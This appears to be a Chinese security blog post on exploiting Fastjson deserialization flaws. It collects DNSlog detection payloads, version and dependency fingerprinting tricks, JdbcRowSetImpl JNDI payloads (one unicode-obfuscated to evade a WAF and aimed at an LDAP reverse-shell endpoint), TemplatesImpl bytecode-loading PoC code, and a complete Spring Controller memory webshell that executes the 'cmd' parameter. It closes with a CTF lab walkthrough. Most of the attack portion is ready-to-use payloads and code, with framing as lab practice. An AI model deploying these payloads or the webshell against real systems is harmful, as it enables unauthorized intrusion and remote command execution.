Fastjson 绕过提升篇
2024-09-13 09:14:17 # javasec # fastjson

前言

上一篇我们分析了fastjson各个补丁的绕过,但是没有对其中的黑名单绕过的各种payload进行分析,这篇主要是尽可能的分析完所有poc,包括fastjson不出网环境下的利用

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* Copyright 2013-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

package com.pysnow.fastjson.demos.web;

import com.alibaba.fastjson.JSONObject;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class BasicController {

@RequestMapping("/parse")
@ResponseBody
public JSONObject parseUser(@RequestParam(value = "jsonvalue") String jsonvalue) {
JSONObject response = new JSONObject();
try {
Object obj = JSONObject.parseObject(jsonvalue);
response.put("code", "200");
response.put("data", obj.toString());
}catch (Exception e){
response.put("code", "500");
response.put("data", e.getMessage());
}

return response;
}

}

1
jsonvalue={"name":"pysnow","age":20}

随便起一个spring就行,测试版本的时候直接现改依赖

dnslog 探测

探测链分析

InetSocketAddress

1
2
3
4
5
6
POST /parse HTTP/1.1
Host: 192.168.8.123:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

jsonvalue={"@type":"java.net.InetSocketAddress"{"address":,"val":"pysnow.9f29x.z9z.top"}}

简单调试一下

这里用的是MiscCodec的反序列化器来还原对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (clazz == InetSocketAddress.class) {
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}

parser.accept(JSONToken.LBRACE);

InetAddress address = null;
int port = 0;
for (;;) {
String key = lexer.stringVal();
lexer.nextToken(JSONToken.COLON);

if (key.equals("address")) {
parser.accept(JSONToken.COLON);
address = parser.parseObject(InetAddress.class);
} else if (key.equals("port")) {
parser.accept(JSONToken.COLON);
if (lexer.token() != JSONToken.LITERAL_INT) {
throw new JSONException("port is not int");
}
port = lexer.intValue();
lexer.nextToken();
} else {
parser.accept(JSONToken.COLON);
parser.parse();
}

if (lexer.token() == JSONToken.COMMA) {
lexer.nextToken();
continue;
}

break;
}

parser.accept(JSONToken.RBRACE);

return (T) new InetSocketAddress(address, port);
}

进来就发现是对这个InetAddress类的处理

他这里是专门处理的address,传入InetAddress来进行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

最后直接在miscCodec里面解析了ip域名,从而发送dns请求

新版本绕过

1
2
3
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
> 1.2.67无需开启autotype

URL

1
{{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}

接着调试

同样的跟进deserialize,同样是使用的MiscCodec反序列化器

这里获取StrVal的逻辑就不需要再讲了

接着在这个地方创建URL对象,传入我们指定的val

这里创建URL对象是不会触发dnslog的,接着往下走

这里成功解析出来key为一个URL对象,然后给给URL对象赋个值就相当于触发urldns那一条链子了

map.put一个URL对象,然后触发hashCode方法从而DNSlog,注意这个方法只适用于高版本,低版本会在put之前将URL对象转化成字符串对象

这里是从1.2.37开始才能使用这个poc来检测的,之前老版本会在put之前将key抓化成字符串

各版本探测链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//  <=1.2.47
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "aaa.xxxx.ceye.io"
}
}
]


// <=1.2.68
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "bbb.n41tma.ceye.io"
}
}
]


// <=1.2.80 收到一个dns请求,1.2.83 收到两个dns请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]

fastjson 组件探测

报错

最简单构造非法格式的json,有些情况下会返回详细的报错信息,就会指明使用的是否是fastjson了

引用解析

1
{"name":"pysnow","ref_name":{"$ref":"$.name"}}

使用fastjson的$ref语法看他是否能够解析来判断

语法解析

1
2
3
4
5
6
7
8
{"name":new a(1)} -> {"name":1}
{"name":x'11'} -> EQ==
{"name"/**/:1} -> 1
{"name":Set[{}{}]} -> [{}]
{"name":"\x00"} -> "\u0000"
{"@type":"pysnow"} -> autoType is not support. pysnow
{"name":'pysnow'} -> 单引号默认正常解析

以上都是一些fastjson总结的语法,如果能够解析这些语法也能说明是fastjson

其他json库判断

gson

1
2
#\r\n{"name":"pysnow"} -> {"name":"pysnow"}
使用单行注释来判断

org.json

1
2
{"name":'\r'} -> Unterminated String at 15 	[charset 0 line2]
需要报错

jackson

1
2
3
4
5
6
7
{"score": 1.1111111111111111111111111111111111111111111111111111111111111}
使用大小数来判断是否失真,即返回1.1111111111111112
{"name":"pysnow"}/*xsxasxas -> {"name":"pysnow"}
同样支持多行注释
{"name":'pysnow'} -> 报错,jackjson不能解析单引号
{"name":"pysnow","othrervalue":"value"} -> 报错
使用来非指定类的属性参数则报错,而fastjson不敏感不会报错

hutool.json

能够解析未带引号的json并且支持/*多行注释

1
2
3
{name:pysnow}/*
xxxx
正常解析

fastjson版本探测

报错信息

1
2
3
["name":1]
{"name":"pysnow"
报错的方法有很多,这里只放常用的

版本探测

1
2
3
4
5
{"@type":"java.lang.AutoCloseable"
// 该payload用于获取详细版本信息如果有报错的话

{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}
// 用于fastjson在参数内部中

JSON.parseObject(jsondata, User.class)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.1.15-1.1.26
syntax error, expect {, actual EOF

1.1.27-1.2.11
syntax error, expect {, actual EOF, pos 9

1.2.12-1.2.24
type not match

1.2.25-2.0.1
type not match. java.lang.AutoCloseable -> org.example.Main$User
(>2.0 会多一处Caused by: com.alibaba.fastjson2.JSONException...)

2.0.1-2.0.5.graal && 2.0.9-2.0.12
error, offset 35, char

2.0.6-2.0.7
illegal character

2.0.8 && 2.0.13-2.0.40
illegal character , offset 35, character , line 1, column 35, fastjson-version 2.0.8 {"@type":"java.lang.AutoCloseable"

以上就是使用parseObject来反序列化对象的各个版本的报错信息,这里直接copy的

JSON.parse(jsonData);

1
2
3
4
5
6
7
8
9
10
1.1.15<=version<=1.1.26
syntax error, expect {, actual EOF

1.1.27<=version<=1.2.32
syntax error, expect {, actual EOF, pos 0

1.2.33<=version<=2.0.40
fastjson1: syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.83
fastjson2: Illegal syntax: , offset 34, character , line 1, column 35, fastjson-version 2.0.40 {"@type":"java.lang.AutoCloseable"

dnslog探测

1.1.15-1.2.24 JDBCRowSetImpl

1
2
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dnslog","autoCommit":true}
这个版本默认能打JdbcRowSetImpl的,往上版本就打不了了

1.2.37-1.2.83 URL

1
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

1.2.9-1.2.47 InetAddress

1
{"username":{"@type":"java.net.InetAddress","val":"dnslog"}, "password":"admin"}

1.2.9-1.2.36 JSONObject

1
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

该payload在如果检测不到说明是1.2.37之前版本的,感觉好像重复了呢

1.2.9-1.2.83 Set[]

1
Set[{"@type":"java.net.URL","val":"dnslog"}]

报错探测

≠(1.2.24 || 1.2.83)

1
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}

1.2.69-1.2.83

1
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}

报错则在该范围内

1.2.48-1.2.83

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

1.2.24

1
{"aaa": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

这个就不用说了,只有这个版本不会爆autoTypenotSupport

延时探测

1.2.36-1.2.63_noneautotype

1
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaa!"}

该payload利用的是漏洞,有延时说明存在

1.2.4-1.2.47 jndi延迟探测

1
2
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/test111","autoCommit":true}}
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/test111","autoCommit":true}}

用JdbcRowSetImpl这条链子修改ldap的ip地址,分别探测内外网,内网的延迟很低,而探测外网的ldap就会响应较长时间

fastjson 服务端组件依赖探测

常见依赖探测列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Driver
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools

Class加载判断

利用Class的属性val,也就是47那个版本的那个方法,让他去load一个类是load成功会报错有回显,load失败会返回空值不回显

1
2
3
4
5
6
7
8
9
{"a": {"@type": "java.lang.Class","val": "org.springframework.web.bind.annotation.RequestMapping"}}


{"a":
{
"@type": "java.lang.Class",
"val": "{{将要探测的Class}}"
}
}

dnslog 回显判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{1:{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}},"country":"aaa.qmc8xj4s.dnslog.pw"}}}

{
"@type":"java.net.Inet4Address",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type":"java.util.Locale",
"language":{
"@type":"java.lang.String"{
1:{
"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"
}
},
"country":"aaa.qmc8xj4s.dnslog.pw"
}
}
}
}
} // 美化后pyaload

还没测试过,应该是存在指定类就会触发dnslog

Character转换报错

利用Character转化class类会报错这个特性来判断某个组件是否存在,如果有回显就看返回的

1
2
3
4
5
6
7
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}

fastjson 不出网利用

TemplatesImpl利用

这个方法限制很大,但是仍然算是一种不出网利用吧,比较他是直接动态加载字节码的

  • Feature.SupportNonPublicField 开启,即允许调用private的getter方法
  • 一般都是1.2.24版本,但是这个版本不是很重要,因为这个黑名单可以绕过,主要还是触发方式的原因,需要触发private的getter

这里直接给出对应的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String args[]){
try {
byte[] bytes = Files.readAllBytes(Paths.get("evil.class"));
String base64 = java.util.Base64.getEncoder().encodeToString(bytes);
System.out.println(base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String s = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+base64+"\"],'_name':'pysnow','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(s);
} catch (Exception e) {
e.printStackTrace();
}
}
其中字节码部分要自己生生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Shell extends AbstractTranslet{
public Shell() {
try {
Runtime.getRuntime().exec("命令执行");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
}

}

这里由于不出网,我们可以在写文件的时候将执行结果写入静态资源文件里面,即whoami > xx/xx/xx/xx.js

另外一种就是直接写入内存马,这里直接给出Spring的内存马样例

spring Controller内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class TemplatesImplSpringController extends AbstractTranslet {
public TemplatesImplSpringController() throws Exception{
super();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Method method2 = TemplatesImplSpringController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
mappingHandlerMapping.registerMapping(info, inject, method2);

}
public TemplatesImplSpringController(String aaa) {

}
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {
try {
new TemplatesImplSpringController();
} catch (Exception e) {
e.printStackTrace();
}
}
}

/shell?cmd=

BCEL利用

POC汇总

1.2.47

FastJsonParty靶场学习

fastjson1.2.47 绕waf

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: lemono0/fastjsonparty:1247-jndi-waf
privileged: true
user: root
ports:
- "8041:80"

这里需要修改启动用户不然起不起来,没权限绑定80端口

探测组件发现使用fastjson,接着使用经典payload获取具体版本

被waf掉了,直接unicode编码绕过

使用这个poc是因为会把具体版本带出来,这里发现是1.2.47,可以直接打缓存绕过,就不需要探测组件了

进环境发现是低版本直接梭哈了

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073",
"val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
},
"b":{
"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0031\u0032\u0036\u002e\u0031\u003a\u0031\u0033\u0038\u0039\u002f\u0042\u0061\u0073\u0069\u0063\u002f\u0052\u0065\u0076\u0065\u0072\u0073\u0065\u0053\u0068\u0065\u006c\u006c\u002f\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0031\u0032\u0036\u002e\u0031\u0033\u0031\u002f\u0032\u0033\u0033\u0033",
"autoCommit":true
}
}

没什么好说的,工具用的是JNDIMap

flag{EnJOY_FasTJson_ParTy}

fastjson 1.2.47 不出网利用

同样的获取到fastjson版本是1.2.47,可以直接打缓存绕过,但是由于这里是环境不出网

可以看到在docker-composer创建了内网隔离起来通过nginx来代理

这里fastjson不出网就考虑两个方式绕过,一种是加载BCLE字节码一种是c3p0二次反序列化打hex base,这里两种方式都总结一下

BCEL

C3p0

首先我们还是按照正常流程了,首先探测一下服务端的第三方组件有哪些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping
org.apache.catalina.startup.Tomcat
groovy.lang.GroovyShell
com.mchange.v2.c3p0.DataSources
com.mysql.jdbc.Buffer
com.mysql.cj.api.authentication.AuthenticationProvider
com.mysql.cj.protocol.AuthenticationProvider
sun.nio.cs.GBK
java.net.http.HttpClient
org.apache.ibatis.type.Alias
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
org.apache.commons.io.Charsets
org.apache.commons.io.file.Counters
org.aspectj.ajde.Ajde

存在c3p0依赖,再探测一下出不出网

很显然不出网,这种情况就需要打c3p0二次反序列化了

工具利用

JsonExp

项目地址: https://github.com/smallfox233/JsonExp

参数 别名 作用 例子
-u –url 指定目标url -u http://www.test.com
-uf –urlfile 指定目标url文档,每行一个url -uf url.txt
-req –request 指定请求包 -req request.txt
-to –timeout 指定请求超时时长,默认为5秒 -to 8
-f –file 指定payload文本路径,默认为template/fastjson.txt -f payload.txt
-t –type 指定HTTP请求类型,默认为post -t get
-l –ldap 指定ldap地址 -l xxx.xxx.xxx:8080
-r –rmi 指定rmi地址 -r xxx.xxx.xxx:8080
-c –cookie 指定cookie值 –cookie “name=xxx;sessionid=xxxxx”
-pro –protocol 指定请求包所使用的协议,需结合-req参数使用,默认为http协议 -req request.txt -pro https
-proxy –proxy 设置代理 –proxy http://127.0.0.1:8080
-dnslog –dnslog 是否申请dnslog进行检测,默认为false(此功能需挂全局代理) –dnslog true
1
2
3
4
5
6
POST /parse HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 58

$payload$

使用$payload$制定payload位置,然后测试

实际上就是批量帮你跑了一下payload,没啥用

参考资料

https://xz.aliyun.com/t/13409

https://github.com/safe6Sec/Fastjson

https://github.com/smallfox233/JsonExp

https://github.com/lemono0/FastJsonParty